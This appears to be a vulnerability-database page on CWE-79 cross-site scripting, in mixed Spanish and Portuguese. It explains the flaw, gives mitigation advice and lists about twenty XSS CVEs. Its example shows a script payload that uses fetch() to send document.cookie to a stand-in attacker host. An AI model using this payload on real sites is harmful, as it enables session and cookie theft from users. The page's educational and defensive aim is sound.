Fallos del tipo CWE-79

29.072 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-6524MEDIUMMapPress Maps for WordPress <= 2.88.13 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2026-95665MEDIUMMISP Reflected Cross-Site Scripting in Event Export Confirmation Form via Unescaped JSONEPSS 0.5%CVE-2024-27703MEDIUMCross Site Scripting vulnerability in Leantime 3.0.6 allows a remote attacker to execute arbitrary code via the to-do title parameter.EPSS 0.5%CVE-2024-12983MEDIUMcode-projects Hospital Management System Edit Doctor Details Page manage-doctors.php cross site scriptingEPSS 0.5%CVE-2023-1572LOWDataGear Plugin cross site scriptingEPSS 0.5%CVE-2023-29322MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.5%CVE-2023-28598HIGHZoom for Linux clients prior to 5.13.10 contain an HTML injection vulnerability. If a victim starts a chat with a malicious user it could rEPSS 0.5%CVE-2023-27000MEDIUMCross Site Scripting vulnerability found in NetScoutnGeniusOne v.6.3.4 allows a remote attacker to execute arbitrary code via the name paramEPSS 0.5%CVE-2026-2472HIGHStored Cross-Site Scripting (XSS) in Vertex AI Python SDK VisualizationEPSS 0.5%CVE-2024-1266LOWCodeAstro University Management System Student Registration Form st_reg.php cross site scriptingEPSS 0.5%CVE-2024-3091LOWPHPGurukul Emergency Ambulance Hiring Portal Search Request Page search.php cross site scriptingEPSS 0.5%CVE-2024-28106MEDIUMphpMyFAQ Stored XSS at FAQ News ContentEPSS 0.5%CVE-2023-3620MEDIUMCross-site Scripting (XSS) - Stored in amauric/tarteaucitron.jsEPSS 0.5%CVE-2024-0284LOWKashipara Food Management System party_submit.php cross site scriptingEPSS 0.5%CVE-2022-0966MEDIUMStored XSS via File Upload in star7th/showdoc in star7th/showdocEPSS 0.5%CVE-2025-53484CRITICALSecurePoll: Multiple locations vulnerable to Cross-Site Scripting (XSS) via unescaped inputEPSS 0.5%CVE-2022-45028MEDIUMA cross-site scripting (XSS) vulnerability in Arris NVG443B 9.3.0h3d36 allows attackers to execute arbitrary web scripts or HTML via a craftEPSS 0.5%CVE-2022-33929MEDIUMDell Wyse Management Suite 3.6.1 and below contains a Reflected Cross-Site Scripting Vulnerability in EndUserSummary page. An authenticated EPSS 0.5%CVE-2025-46549MEDIUMYeswiki Vulnerable to Unauthenticated Reflected Cross-site ScriptingEPSS 0.5%CVE-2023-5128MEDIUMTCD Google Maps <= 1.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%